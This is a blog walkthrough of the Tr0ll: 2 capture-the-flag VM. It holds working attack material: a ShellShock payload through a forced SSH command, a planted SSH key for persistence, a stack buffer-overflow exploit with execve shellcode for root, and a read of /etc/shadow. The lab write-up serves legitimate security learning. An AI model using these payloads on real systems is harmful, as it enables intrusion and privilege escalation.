304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Tr0ll: 2 Walkthrough – You Gotta Pay the Troll Toll

After all of the fun I had last time, why would I not do a walkthrough for Maleus’s Tr0ll v2, also hosted on VulnHub?

As usual, I first ran netdiscover to find the new troll.

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240
   IP            At MAC Address      Count  Len   MAC Vendor
 ---------------------------------------------------------------------    00:50:56:c0:00:01    01    060   VMWare, Inc.  00:0c:29:f7:66:43    01    060   VMware, Inc.  00:50:56:ed:08:f7    02    120   VMWare, Inc.


With the IP in hand, it was time to fire up Nmap.

root@kali:~# nmap -sT -sV -O

Starting Nmap 6.47 ( ) at 2015-04-24 03:19 EDT
Nmap scan report for
Host is up (0.00035s latency).
Not shown: 997 closed ports
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:F7:66:43 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds

Contrary to the joys of Tr0ll 1, I figured HTTP would still be my best bet for ingress. Of course I was greeted by an old friend, but I was more than prepared for him this time.

Once again, I fired up Dirbuster to see if there was any low hanging fruit.

Unfortunately, all roads led nowhere, so I figured I’d head back to the home page and check out the source.

After some contemplation, I figured I’d try SSHing into the box as Tr0ll/Tr0ll. Of course, that “eh, what the hell?” attempt worked, but immediately got dropped.

root@kali:~# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:
New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Oct 14 19:07:13 2014 from
Connection to closed.

With HTTP getting me no where, I decided to start taking a look around the FTP side of things.

Inside of was some sort of password protected file called “noob”, but I had no idea what the password was at this time.

Thinking this was another dead end, I decided to backtrack and check out the robots.txt to see if there was anything interesting there.


With a big new list of directories, it was time to fire up DirBuster again and see what actually existed.

I checked out all of the directories that existed, but they all had the same trolling cat.

Upon closer inspection though, one of the files was slightly bigger than the rest…

Hoping that the file name was a hint, I decided to check the end of the bigger file to see if there was any useful and/or hidden information inside of it.

root@kali:~/Downloads# tail -n 1 cat_the_troll.jpg 
8�z2��p�T�lj\p��?�<�S�۪��6�#���7U	y���*/ p?E$���%=���.�B���o�ES_��Look Deep within y0ur_self for the answer

At this point, I was already pretty familiar with this challenge's games, so I went back into the browser to check out the y0ur_self directory.

Of course answer.txt didn't exactly have the answer I was looking for, but it was a start.

After taking a quick look at answer.txt I realized that it was probably base64 encoded, so I decoded it to a new file, sorted the output by length, and hoped that the longest string would be useful to me...

root@kali:~/Downloads# base64 -d answer.txt > troll2-answer-decoded.txt
root@kali:~/Downloads# awk '{print length, $0}' troll2-answer-decoded.txt | sort -n | cut -d " " -f2- | tail -n 5

Of course, it wasn't quite that easy since this wasn't another web directory, but once I tried that as the password for the file, it opened up and I was able to view the noob file.

With this key I tried to SSH into the box as the noob user, but I received a very friendly message and a disconnect.

root@kali:~# ssh -i noob [email protected]
Connection to closed.
I figured this had to be some sort of script or forced command being run, so I ran SSH in verbose mode and found the culprit (emphasis added to the line in question).
Authenticated to ([]:22).
debug1: channel 0: new [client-session]
debug1: Requesting [email protected]
debug1: Entering interactive session.
debug1: Remote: Forced command.
debug1: Sending environment.
debug1: Sending env LANG = en_US.UTF-8
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
debug1: channel 0: free: client-session, nchannels 1
Connection to closed.
Transferred: sent 2984, received 1760 bytes, in 0.0 seconds
Bytes per second: sent 62915.0, received 37108.0
debug: Exit status 0

After a bit of research and testing, I discovered that this forced command may be vulnerable to ShellShock, so I decided to give it a try.

root@kali:~# ssh -i noob [email protected] '() { :;}; echo MALICIOUS CODE'

Well, with that working, I used it to spawn a shell, and add my public key to authorized_keys for noob to have a slightly more interactive terminal.

root@kali:~# ssh -i noob [email protected] '() { :;}; /bin/bash'
uid=1002(noob) gid=1002(noob) groups=1002(noob)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdubHNkqPbAwD0ikkAKCWcEmxDNokB4gYle0ioj/NC/PA6wQjHRFOA32H/xGS1aGuTv3+xe9d7F4m6QuhZytNJ6QeVchqnf6zqg+0XlRyNxA3SUVxl2j+8fMgHeA92QqfWoIcknH/CaEWo5ZQTrSL4+A0hX2c7xMy2RyU4LEYxY3pEy9LayHmaqjHd3CKaeiDDDyEhSuGNPn1xPAOLB4h4idk88Ih50tu6rbl0hk/rEUCFYTTsWNtVy1u+uGAqimHv0xsYKQux1JLkymKYERXwTxSmNjK0Bx/d5IrI4oh4iUfnxqsvwcG6Sb6sKFwlhYypNgRr6zU3eZMltsSlc10j root@kali" > .ssh/authorized_keys
^Croot@kali:~# ssh -i .ssh/id_rsa [email protected]
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:
New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Apr 24 01:09:26 2015 from

With a local account obtained, it was time to escalate privileges. First I checked to see if anything useful was setuid 0, and I found three "doors" that could be chosen.

noob@Tr0ll2:~$ /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


drwsr-xr-x 3 root root 4096 May  4 03:15 /nothing_to_see_here
drwsr-xr-x 5 root root 4096 Oct  4  2014 /nothing_to_see_here/choose_wisely
drwsr-xr-x 2 root root 4096 Oct  4  2014 /nothing_to_see_here/choose_wisely/door2
drwsr-xr-x 2 root root 4096 Oct  5  2014 /nothing_to_see_here/choose_wisely/door3
drwsr-xr-x 2 root root 4096 Oct  5  2014 /nothing_to_see_here/choose_wisely/door1

It looked like, that while the actual doors rotate from time to time, they always had one of three functions.

1) Reboot the system

noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ./door1/r00t
Good job, stand by, executing root shell...
Broadcast message from noob@Tr0ll2
        (/dev/pts/0) at 1:21 ...

The system is going down for reboot NOW!
Connection to closed by remote host.
Connection to closed.

2) Enter a "hard mode" (appeared to just limit the use of ls)

noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ./door3/r00t

noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ cd ..
noob@Tr0ll2:/nothing_to_see_here$ ls
-bash: /bin/ls: Permission denied

3) Accept an argument, and echo the output

noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ./door2/r00t
Usage: ./door2/r00t input
noob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ./door2/r00t asdf
asdfnoob@Tr0ll2:/nothing_to_see_here/choose_wisely$ ./door1/r00t

So, it looked like the user input door was my best bet (and was also the largest file, so wasn't hard to find when the doors ended up rotating). With that in mind, I threw 1,000 instances of "A" into it and received a wonderful segfault.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ./r00t $(python -c 'print "A" * 1000')
Segmentation fault

Now that I was in more familiar, and less trolling territory, I fired up pattern_create, threw my new pattern at the input door, and found my EIP offset.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_create.rb 1000
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ gdb r00t 
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /nothing_to_see_here/choose_wisely/door2/r00t...done.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Starting program: /nothing_to_see_here/choose_wisely/door2/r00t Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? ()
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x6a413969
[*] Exact match at offset 268

Once I had the offset in hand, I decided to run one more test to make sure that I was overwriting EIP with the correct values.

(gdb) r $(python -c 'print "A"*268 + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268 + "B"*4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

With all of this information, I threw together a quick test to obtain the address of esp for jumping into my shellcode. The reason for running this inside of env and un-setting the environment variables was so that I wouldn't get an incorrect memory address for esp. For more information on this, see the following StackOverflow answer.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ env - gdb r00t
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /nothing_to_see_here/choose_wisely/door2/r00t...done.
(gdb) show env
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) run $(python -c 'print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')
Starting program: /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax            0x184	388
ecx            0x0	0
edx            0x0	0
ebx            0xb7fd1ff4	-1208147980
esp            0xbffffc80	0xbffffc80
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0x42424242	0x42424242
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Since we don't need to worry about finding a JMP ESP in the binary, we can overwrite EIP with the address pointing to ESP.

In this case, the following becomes our new EIP ("\x80\xfc\xff\xbf").

esp            0xbffffc80	0xbffffc80

With my memory addresses and shellcode in hand, it was time to write my full exploit.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ env - ./r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
# cd /root
# ls -al
total 80
drwx------ 11 root   root   4096 Oct 14  2014 .
drwxr-xr-x 23 root   root   4096 Oct  5  2014 ..
-rw-------  1 root   root     67 Oct 14  2014 .bash_history
-rw-r--r--  1 root   root   3106 Apr 19  2012 .bashrc
-rw-r--r--  1 root   root    140 Apr 19  2012 .profile
-rw-r--r--  1 root   root     66 Oct  5  2014 .selected_editor
drwx------  2 root   root   4096 Oct  4  2014 .ssh
drwxr-xr-x  2 root   root   4096 Oct  5  2014 .vim
-rw-------  1 root   root   4259 Oct 14  2014 .viminfo
-rw-r--r--  1 root   root     68 Oct  6  2014 Proof.txt
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core1
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core2
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core3
drwxr-xr-x  5 root   root   4096 Oct  4  2014 core4
drwxr-xr-x  2 root   root   4096 Oct  5  2014 goal
drwxr-xr-x  2 root   root   4096 Oct  6  2014 hardmode
-rw-r--r--  1 maleus maleus 1474 Oct  4  2014
-rw-r--r--  1 root   root    828 Oct  4  2014
drwxr-xr-x  2 root   root   4096 Oct  6  2014 reboot
# cat Proof.txt
You win this time young Jedi...


And that was all she wrote folks.

Just like last time, I dumped the shadow file as well in case someone was looking for some passwords to crack.

# cat /etc/shadow

Another enjoyable VM from Maleus, and with some exploit development this time as well. Tune in next time for a write up with hopefully a little less trolling.


Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.